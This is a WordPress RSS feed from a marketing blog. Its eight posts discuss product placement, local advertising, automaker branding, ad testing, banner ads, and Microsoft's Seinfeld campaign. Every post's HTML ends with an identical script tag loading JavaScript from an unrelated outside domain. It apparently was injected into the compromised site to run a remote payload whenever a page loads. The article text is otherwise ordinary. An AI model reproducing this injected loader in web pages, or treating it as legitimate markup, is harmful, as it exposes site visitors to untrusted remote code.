<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Escalate - Marketing Critique &#187; mass media</title>
	<atom:link href="http://skal8.com/category/mass-media/feed/" rel="self" type="application/rss+xml" />
	<link>http://skal8.com</link>
	<description>Marketing to consumers in control</description>
	<lastBuildDate>Tue, 01 Feb 2011 05:12:26 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.4</generator>
		<item>
		<title>Top Chef and Product Placement and much more</title>
		<link>http://skal8.com/branding/top-chef-and-product-placement-and-much-more/</link>
		<comments>http://skal8.com/branding/top-chef-and-product-placement-and-much-more/#comments</comments>
		<pubDate>Thu, 26 Feb 2009 04:24:55 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[branding]]></category>
		<category><![CDATA[mass media]]></category>
		<category><![CDATA[marketing ideas]]></category>
		<category><![CDATA[product placement]]></category>
		<category><![CDATA[top chef]]></category>

		<guid isPermaLink="false">http://skal8.com/?p=93</guid>
		<description><![CDATA[I&#8217;ll freely admit that I&#8217;m a devoted fan of Bravo&#8217;s Top Chef.  As a foodie it&#8217;s one of the more interesting shows over all.  However, as a marketer, it&#8217;s fascinating in terms of marketing opportunities. Product placement is one of &#8230; <a href="http://skal8.com/branding/top-chef-and-product-placement-and-much-more/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ll freely admit that I&#8217;m a devoted fan of Bravo&#8217;s Top Chef.  As a foodie it&#8217;s one of the more interesting shows over all.  However, as a marketer, it&#8217;s fascinating in terms of marketing opportunities.</p>
<p>Product placement is one of the most obvious ones.  It&#8217;s one of the rules of the Top Chef drinking game, and that rule alone would have you pretty buzzed by the end.  I will give them credit for keeping most of the placements relevant to the &#8220;story&#8221; A few things like the phone placements this season were a bit forced, but in general they work.  A stove or wine brand makes perfect sense in a show about cooking.</p>
<p>Top Chef also does a great job of providing challenge sponsorship opportunities.  Creating a frozen dinner (Bertolli) or low calorie treat (Dr. Pepper) makes sense for the brands in the past that have done it.   The Glad family of products sponsors the overall pride and gets more than frequent mentions as a result.</p>
<p>Even those placing traditional ads might get a bit better off in the show.  They use frequent mini-sodes that bring fans back into the show if they tune out or try to skip past via Tivo.  I haven&#8217;t touched the mobile content or website integration, which further extend the show in advertiser friendly methods.</p>
<p>I don&#8217;t have the data that proves or disproves the effectiveness of their tactics.  What I can say is that the same sponsors have appeared season after season.  To me, that&#8217;s pretty good evidence that something is working.</p>
<p>There is a real lesson that any marketer can use.  Engagement is key to effectiveness.  If you find a place to promote your product that is relevant, it&#8217;s likely that you&#8217;ll do better.  Placement matters for you and your brand.  Scattershot placements are far less valuable than relevant ones.<script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://skal8.com/branding/top-chef-and-product-placement-and-much-more/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Perfect Product Placement in 10 items or less?</title>
		<link>http://skal8.com/branding/perfect-product-placement-in-10-items-or-less/</link>
		<comments>http://skal8.com/branding/perfect-product-placement-in-10-items-or-less/#comments</comments>
		<pubDate>Wed, 07 Jan 2009 23:17:49 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[branding]]></category>
		<category><![CDATA[mass media]]></category>
		<category><![CDATA[brand integration]]></category>
		<category><![CDATA[new marketing]]></category>
		<category><![CDATA[Nivea]]></category>
		<category><![CDATA[product placement]]></category>
		<category><![CDATA[TBS]]></category>

		<guid isPermaLink="false">http://skal8.com/?p=76</guid>
		<description><![CDATA[Last night TBS aired an interesting experiment in blatant product placement last night with the new comedy 10 items or less.  The show was presented commercial free and with out interruptions.   The show was supported instead by two sponsors that &#8230; <a href="http://skal8.com/branding/perfect-product-placement-in-10-items-or-less/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Last night <a title="TBS" href="http://www.tbs.com/">TBS</a> aired an interesting experiment in blatant product placement last night with the new comedy <a title="Ten items or Less" href="http://www.tbs.com/shows/10itemsorless/">10 items or less</a>.  The show was presented commercial free and with out interruptions.   The show was supported instead by two sponsors that were shoehorned into the story in awkward ways.  To TBS&#8217;s credit they were very above board and some what irreverent in the product placements.  The intro of the show more or less told there would be product placements and announced the sponsors.  The jar and bottle were taped to the main character&#8217;s shoulders during the announcement.</p>
<p>I&#8217;m still a bit torn about the effectiveness of the tactic.  On the positive hand, the show sponsor idea felt a bit like the old days of TV.  With the characters making product pitches, there was a feeling of continuity.  It certainly couldn&#8217;t be tivoed or skipped too easily. It will work just fine if distributed online.  The products were pretty omnipresent throughout the show, if only as backgrounds.  Frankly, a location of a supermarket makes consumer packaged goods easy to display.</p>
<p>On the negative hand, the product pitches felt completely inserted into the show.  Twice the characters found a sudden and extraneous need to use a product.  The pitch was all about the product and only that product.  It felt completely inserted.</p>
<p>I was also confused for a while about which brand sponsored the program. The pitches were pretty generic.  The lotion segment could have been any lotion, and the same was true of the mayo.  Compounding this was a lack of distinctive packaging for the brand sponsors, since the weren&#8217;t shown that close up.  To me, the Vaseline for men lotion bottle closely resembles the Nivea for Men bottle.   In addition, mayo jars pretty much all look identical, so Hellmann&#8217;s could have been Kraft.</p>
<p>The two bottles</p>
<div id="attachment_77" class="wp-caption alignleft" style="width: 150px"> </dt>
<dt class="wp-caption-dt"> </dt>
<dt class="wp-caption-dt"><img class="size-full wp-image-78" title="Nivea for Men Lotion" src="http://skal8.com/wp-content/uploads/2009/01/417_1_vitalising_body_lotio.jpg" alt="Nivea Packaging" width="140" height="275" /><p class="wp-caption-text">Nivea Packaging</p></div>
<dt class="wp-caption-dt"></dt>
<p><img class="size-thumbnail wp-image-77" title="Vaseline Men's Lotions" src="http://skal8.com/wp-content/uploads/2009/01/lotionsrangenonnew-150x150.png" alt="Vaseline Packaging" width="150" height="150" /></p>
<dt class="wp-caption-dt"></dt>
<p>I tend to lean towards this as a failed experiment, but it&#8217;s still one to watch.<script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://skal8.com/branding/perfect-product-placement-in-10-items-or-less/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What is local and what does it mean for my brand?</title>
		<link>http://skal8.com/events/what-is-local-and-what-does-it-mean-for-my-brand/</link>
		<comments>http://skal8.com/events/what-is-local-and-what-does-it-mean-for-my-brand/#comments</comments>
		<pubDate>Mon, 15 Dec 2008 19:00:38 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[Events]]></category>
		<category><![CDATA[location]]></category>
		<category><![CDATA[mass media]]></category>
		<category><![CDATA[Cooperative advertising]]></category>
		<category><![CDATA[local marketing]]></category>
		<category><![CDATA[local media channels]]></category>
		<category><![CDATA[newspaper]]></category>
		<category><![CDATA[Split run advertising]]></category>

		<guid isPermaLink="false">http://skal8.com/?p=73</guid>
		<description><![CDATA[I used to work for a newspaper company where the mantra was local, local, local.  The resources they had were in their area, including sales and content generation, so it was natural for them to focus in such a way.  &#8230; <a href="http://skal8.com/events/what-is-local-and-what-does-it-mean-for-my-brand/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I used to work for a newspaper company where the mantra was local, local, local.  The resources they had were in their area, including sales and content generation, so it was natural for them to focus in such a way.  The question in my mind is what it means for small businesses and other companies.</p>
<p>My answer is both everything and nothing.  The relevance of local depends on your strategy.  If you sell furniture, people in your area are likely the only sales prospects that you have.  People rarely ship furniture and to do so is quite expensive.  If you are a start-up brand with limited distribution as of yet, local may matter quite a lot.  Cooperative advertising with your distribution partners can be a cost effective means for building your brand.</p>
<p>For others it might mean nothing at all.  If your product can be shipped easily, and uses direct response channels like telesales and the internet, local media channels are nearly irrelevant.</p>
<p>The next question is what is the best way to tap into local.  Newspapers are obviously one, and even with their well chronicled decline they still reach vast numbers of people on a daily basis.  Split run advertising as with &#8220;zoned&#8221; products can bring the cost of entry to a reasonable level.  Outdoor is also a possibility, but messages need to be very simple to be effective.</p>
<p>The most interesting possibilities are those of event marketing on a local level.  Playing a memorable part in local events can both establish you as a member of the community and reach your target quite effectively.  Donating a prize to a Church raffle can reach quite a number of people and position your company in a positive light.  A table at a local street party can get people to sample your product and create new customers nearly instantly.  These tend to be high risk endeavors, as they either are very successful or go completely unnoticed.  The same advice applies here as with any other marketing.  Establish a concrete goal and be relentless about matching the tactic to it.  For one example, having your logo on a gift bag is superfluous if you want your product to be sampled.<script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://skal8.com/events/what-is-local-and-what-does-it-mean-for-my-brand/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Brands of the Big 3 Automakers</title>
		<link>http://skal8.com/branding/the-brands-of-the-big-3-automakers/</link>
		<comments>http://skal8.com/branding/the-brands-of-the-big-3-automakers/#comments</comments>
		<pubDate>Wed, 10 Dec 2008 20:00:54 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[branding]]></category>
		<category><![CDATA[mass media]]></category>
		<category><![CDATA[automotive]]></category>
		<category><![CDATA[brand promise]]></category>
		<category><![CDATA[Ford]]></category>
		<category><![CDATA[Honda]]></category>
		<category><![CDATA[Lincoln]]></category>
		<category><![CDATA[New York Times]]></category>
		<category><![CDATA[outdated media]]></category>

		<guid isPermaLink="false">http://skal8.com/?p=71</guid>
		<description><![CDATA[Watching the plight of GM, Chrysler and Ford over the past several years has been a pretty depressing state of affairs.  Inevitably, people will say one of two things about the American automakers.  The first is that they no longer &#8230; <a href="http://skal8.com/branding/the-brands-of-the-big-3-automakers/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Watching the plight of GM, Chrysler and Ford over the past several years has been a pretty depressing state of affairs.  Inevitably, people will say one of two things about the American automakers.  The first is that they no longer make cars that people want and the second is that they don&#8217;t have the quality of their foreign competition.  It&#8217;s likely that the first is caused by the second.</p>
<p>Unfortunately, many people are very wrong on the quality issue.  Check out <a href="http://www.jdpower.com/corporate/news/releases/pressrelease.aspx?ID=2008115">this release from JD power on vehicle dependability</a>, and look at the brands that are above average.  Lexus tops the list, but Mercury, Cadillac, Buick and Lincoln are all in the top 10, and all are above Honda. Ford is just above average.  I&#8217;ll admit that Chrysler still has issues, but compare that to Volkswagen or Volvo which seem to hold high esteem in many people&#8217;s mind.  What has gone wrong is at the root of branding.</p>
<p>Brands aren&#8217;t the most recent message a consumer absorbs about a product.  It&#8217;s the collective experiences a consumer has with a brand over.  If I say a word like newspaper, you&#8217;ll bring up not only the definition, but all of the parts of the experience.  You may remember stories, ads, a product that you can take with you to the restroom, or even delivering them.  You might also think of outdated media, bias, clippings you&#8217;ve made, obituaries or other personal encounters.  It makes what we define as a newspaper have a rich context, and it isn&#8217;t just shaped by the billboard you see on your way home.</p>
<p>The hard part is that negative experiences can be hard to erase.  This <a href="http://www.cnbc.com/id/28157615">New York Times article references quality problems encountered with Oldsmobile in the 70&#8242;s.</a> The companies have moved a long way since then, and Oldsmobile doesn&#8217;t even exist as a brand.  The attribution of poor quality is made to &#8220;American automakers&#8221; more than a specific car, era, or brand.  Even thought this attribution is logically no longer relevant, it still shapes the authors opinions, as I&#8217;m sure it does for many consumers.  I&#8217;ll personally admit that I haven&#8217;t owned an American car since the 1995 Dodge Neon that I bought just before finishing college.  That car self destructed well before 100,000 miles, and jaded my own opinion of the domestics.</p>
<p>This should be a reminder to all brand owners.  Even a momentary slip on your brand&#8217;s promise can cause you to lose a customer forever.  It&#8217;s hard to get consumers to resample a product after a dissatisfactory experience.  It might even be harder than acquiring a new customer.<script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://skal8.com/branding/the-brands-of-the-big-3-automakers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Small Scale Testing as a great way to improve</title>
		<link>http://skal8.com/branding/small-scale-testing-as-a-great-way-to-improve/</link>
		<comments>http://skal8.com/branding/small-scale-testing-as-a-great-way-to-improve/#comments</comments>
		<pubDate>Tue, 11 Nov 2008 02:04:35 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[branding]]></category>
		<category><![CDATA[mass media]]></category>

		<guid isPermaLink="false">http://skal8.com/?p=57</guid>
		<description><![CDATA[The budget that big brands can spend on marketing and advertising can be startling.  Take AT&#38;T.  Their 2007 us ad spend was estimated by ad age to be $3.2B.  Given there are about 300M people in the usa, that makes &#8230; <a href="http://skal8.com/branding/small-scale-testing-as-a-great-way-to-improve/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>The budget that big brands can spend on marketing and advertising can be startling.  Take AT&amp;T.  <a href="http://adage.com/marketertrees08/">Their 2007 us ad spend was estimated by ad age to be $3.2B</a>.  Given there are about 300M people in the usa, that makes $10 for every man woman and child in the country.  It&#8217;s a startling number, but with my cell bill running over $100/month it&#8217;s still a small portion of their revenue.  Large brands tend to everything on a huge scale, but that makes them miss on some of the refinements they could make along the way.  If you were going to spend $3M for 30 sec of superbowl time, you really only get one or two shots at getting it right.  One big splash rather than a number of consistent dribbles.</p>
<p>The internet, however is an entirely different animal.  It&#8217;s possible to revise ads on a very regular basis, and test numerous combinations of webpage elements.  Its as close as a credit card and a bit of creativity.  There are even plenty of agencies that can help measure the return on investment of your efforts.</p>
<p>The smallest brands can play this game.  Bet it all on one backpage newspaper ad, or try to create a facebook page?  Experiment or go with tried and true?  Display or search?  Try it all in very small scale and pick the winner.  True results trump a focus group and the added benefit is the sales along the way.<a title="Money" href="http://flickr.com/photos/51194339@N00/8806988"><img src="http://farm1.static.flickr.com/8/8806988_2c487ef390_m.jpg" alt="" /></a><script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://skal8.com/branding/small-scale-testing-as-a-great-way-to-improve/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Do dancing people deliver better click through?</title>
		<link>http://skal8.com/mass-media/do-dancing-people-deliver-better-click-through/</link>
		<comments>http://skal8.com/mass-media/do-dancing-people-deliver-better-click-through/#comments</comments>
		<pubDate>Fri, 10 Oct 2008 19:09:43 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[mass media]]></category>
		<category><![CDATA[animation]]></category>
		<category><![CDATA[banner ads]]></category>
		<category><![CDATA[data]]></category>
		<category><![CDATA[lending]]></category>
		<category><![CDATA[online marketing]]></category>

		<guid isPermaLink="false">http://skal8.com/?p=52</guid>
		<description><![CDATA[We&#8217;ve all seen the ads on seemingly every web page on the Internet.  They feature some random person dancing amid talk of interest rates and refinancing.  At times it seems to be video, other times it&#8217;s animation.   I&#8217;ll leave &#8230; <a href="http://skal8.com/mass-media/do-dancing-people-deliver-better-click-through/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>We&#8217;ve all seen the ads on seemingly every web page on the Internet.  They feature some random person dancing amid talk of interest rates and refinancing.  At times it seems to be video, other times it&#8217;s animation.  </p>
<p>I&#8217;ll leave out the company, but lets say their initials are lmb.  As a business model they do second mortgages and other refinancing.  One could normally consider them to be a sub prime broker or lender.  </p>
<p>Given the general malaise in the market and the central issue being loose lending practices, there&#8217;s all kinds of cognitive dissonance going on with these ads.  However, I&#8217;ve seen variants of them for months if not years, and I see them with amazing frequency.  Most recently they are making heavy rotation on my financial news of choice, cnbc.com</p>
<p>Let&#8217;s get in the head of the average consumer, or at least make some guesses.  I&#8217;m checking out the latest in the dow, and recently watching it decline precipitously.  I&#8217;ve heard over and over again that credit is getting tighter.  And there it is, some one dancing off to the side of the page.  Next to the dancing person there&#8217;s some heavy copy about refinancing and bush approving a housing bill.  They offer for me to calculate a new house payment.  Only in the smallest grey type do I see the advertiser&#8217;s brand.  </p>
<p>Sure it makes no sense, and it might violate every rule of advertising.  They are combining 3 different messages in a way that is not very appealing or clear.  There&#8217;s no clear offer.  The dancing people have little to do with anything, and are obviously there just to garner attention.  The brand is nearly invisible.  On the other hand I have to conclude that it works, at least to get people to come to their site, because they keep doing the same basic ad.  They must garner enough attention, and pique the curiosity of their target enough to get that elusive click.  Or perhaps their business model is lucrative enough to pay for absurd numbers of impressions.  Whatever it is, in this era of data, something has to be working right?</p>
<p>i have to admit that I hope not.  It in many ways it is the opposite of showing respect for the consumer.  Maybe the average advertiser can learn from the motion used, as it might really help you get noticed among a largely static webpage.<script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://skal8.com/mass-media/do-dancing-people-deliver-better-click-through/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Seinfeld out for Microsoft?  Who cares &#8211; Look at the buzz</title>
		<link>http://skal8.com/buzz/seinfeld-out-for-microsoft-who-cares-look-at-the-buzz/</link>
		<comments>http://skal8.com/buzz/seinfeld-out-for-microsoft-who-cares-look-at-the-buzz/#comments</comments>
		<pubDate>Thu, 18 Sep 2008 22:17:28 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[buzz]]></category>
		<category><![CDATA[mass media]]></category>
		<category><![CDATA[advertising]]></category>
		<category><![CDATA[conversation]]></category>
		<category><![CDATA[Jerry Seinfeld]]></category>
		<category><![CDATA[Mac]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[online elitist]]></category>
		<category><![CDATA[PR]]></category>
		<category><![CDATA[public relations]]></category>

		<guid isPermaLink="false">http://skal8.com/?p=32</guid>
		<description><![CDATA[Only a few weeks into the new campagn, Microsoft has pulled the plug on pitchman Jerry Seinfeld.  According to Microsoft, the move was planned from the beginning.  Given the amount of time that it takes to shoot a commercial and &#8230; <a href="http://skal8.com/buzz/seinfeld-out-for-microsoft-who-cares-look-at-the-buzz/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Only a few weeks into the new campagn, Microsoft has <a title="Techcrunch" href="http://www.techcrunch.com/2008/09/17/its-over-for-seinfeld-but-crispin-porter-keeps-microsoft-business/">pulled the plug on pitchman Jerry Seinfeld</a>.  According to Microsoft, the move <a href="http://www.businesssheet.com/2008/9/microsoft-we-didn-t-fire-jerry-seinfeld">was planned from the beginning</a>.  Given the amount of time that it takes to shoot a commercial and the fact they <a title="CNBC" href="http://www.cnbc.com/id/26777498">apparently have a new one set to debut this week</a>, it is fairly believable.</p>
<p>My interest here is the sheer amount of conversation this move has created.  I&#8217;m not sure if Crispin Porter + Bogusky is that brilliant, but they did claim from the beginning they were trying to get people to talk about windows and the campaign.  That has most certainly been achieved.  The two million video views on youtube, as noted in my prior post, is pretty strong evidence.</p>
<p>What I remain puzzled by is such moves have created a negative buzz.  The old rule of PR was: &#8220;I don&#8217;t care what they say, just make sure they spell the name right&#8221; but I can&#8217;t believe it applies in this case.  Also if as rumored they are going straight after the much beloved Mac/PC ads, they are certain to encounter an even bigger storm of negativity.  </p>
<p>However, the person that really needs to be convinced is not the online elitist, but an &#8220;average&#8221; consumer who doesn&#8217;t write blogs or get as involved in advertising and marketing as some others.  Is the bewilderment over the first couple of ads real for them, or did they just enjoy watching Seinfeld again?  Did people start to change their opinion of Microsoft after seeing some commercials that were nearly completely unrelated to actual products?  Will they even attribute those few vignettes to Microsoft at all?  My guess is most people somewhat enjoyed the commercials and shifted their opinion every so slightly positively for Microsoft.  It&#8217;s nudging a battle ship, but still an ever so slight move in the right direction.  </p>
<p>There&#8217;s still a big risk to this approach, and according to most the effort has been very expensive.  Microsoft is attacking a huge strategic problem of a bad corporate image in a very unusual way, but with an impressive and patient approach.<script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://skal8.com/buzz/seinfeld-out-for-microsoft-who-cares-look-at-the-buzz/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Microsoft and Seinfeld &#8211; An ad campaign about nothing?</title>
		<link>http://skal8.com/buzz/microsoft-and-seinfeld-an-ad-campaign-about-nothing/</link>
		<comments>http://skal8.com/buzz/microsoft-and-seinfeld-an-ad-campaign-about-nothing/#comments</comments>
		<pubDate>Tue, 16 Sep 2008 14:58:38 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[Viral]]></category>
		<category><![CDATA[buzz]]></category>
		<category><![CDATA[mass media]]></category>
		<category><![CDATA[American Express]]></category>
		<category><![CDATA[Bill]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[Jerry Seinfeld]]></category>
		<category><![CDATA[marketing]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[traditional media]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://skal8.com/?p=27</guid>
		<description><![CDATA[Microsoft recently debuted a new ad campaign aimed at revising their image to be more friendly and approachable.  To do so, they employed Jerry Seinfeld for a purported $10M.  The first installment in the campaign debuted along with the regular &#8230; <a href="http://skal8.com/buzz/microsoft-and-seinfeld-an-ad-campaign-about-nothing/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Microsoft recently debuted a new ad campaign aimed at revising their image to be more friendly and approachable.  To do so, they employed Jerry Seinfeld for a purported $10M.  The first installment in the campaign debuted along with the regular season of NFL football and left many wondering what the point was.  The spot, featured below, showed Jerry and Bill meeting in a shoe store and ended with Jerry wondering if Bill could make computers more delicious.  Up until the end, I thought it was a commercial for American Express, especially when the mention was made of the shoe carnival points.   The spot was an impressive 1:30, <a href="http://valleywag.com/5045727/jerry-seinfeld-bill-gates-star-in-nonsensical-new-ad-campaign">but really didn&#8217;t say anything at all</a>.</p>
<p>The second installment debuted on microsoft, and was quickly ported over to youtube (<a href="http://www.youtube.com/user/WindowsVideos">by microsoft themselves</a>).  This video is over four minutes long and reveals a bit more about the reason behind the campaign.  Windows wants to connect with real people.  To do so they employed two extraordinary wealthy individuals and &#8220;embedded&#8221; them into a normal family.  Again, the feature has very little about computers.  However, <a href="http://www.alleyinsider.com/2008/9/just-admit-it-the-new-microsoft-seinfeld-ad-is-funny">this one is pretty funny, despite being a bit confusing</a>.</p>
<p>There are a number of very interesting things here.  The second commercial (more accuratly a webisode) tells you exactly what the first was trying to accomplish.  It&#8217;s so above board about it, that you can&#8217;t help but respect that Microsoft realizes they have a very serious image problem.</p>
<p><span id="more-27"></span></p>
<p>The second interesting point is the amount of buzz these items have generated.  Each of the videos has generated around 1M views on youtube.  That&#8217;s no sneezing panda, but pretty sold for a video that&#8217;s been up for only a few weeks and requires an attention span longer than the typical 14 year old in need or ritalin (or average blogger for that matter).  Lots of people may hate it, but they are taking the time to post, comment and otherwise communicate about it.  It is sparking an honest debate.  That&#8217;s quite impressive given that a vast majority of Microsoft postings in the past tended to be harshly critical.</p>
<p>At the bottom line, I&#8217;m not sure if the commercial will be all that effective or not.  It&#8217;s quite the undertaking to take a brand as well known as Microsoft and change they way people view it.  In the end it might end up be an ad campaign about nothing.   However, at the very least they are taking on a huge problem in a very impressive manner using methods that only they could.</p>
<p>Smaller brands can learn a lot from this situation.  The biggest lesson is to never let your brand get this far out of control.  They were the big bad monopolist for a very long time and tended to ignore consumers along the way.  It&#8217;s what got Microsoft in the pickle between apple and needing to do a campaign like this.  The second lesson is that respecting your consumer&#8217;s intelligence can go a long way toward getting your message spread.  It&#8217;s my opinion that the reason this ad is generating this level of communicaiton is how frank and honest it is about the situation they are trying to address.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="src" value="http://www.youtube.com/v/uz6amk3P-hY&amp;hl=en&amp;fs=1" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/uz6amk3P-hY&amp;hl=en&amp;fs=1" allowfullscreen="true"></embed></object></p>
<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/gBWPf1BWtkw&#038;hl=en&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/gBWPf1BWtkw&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"></embed></object><script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://skal8.com/buzz/microsoft-and-seinfeld-an-ad-campaign-about-nothing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

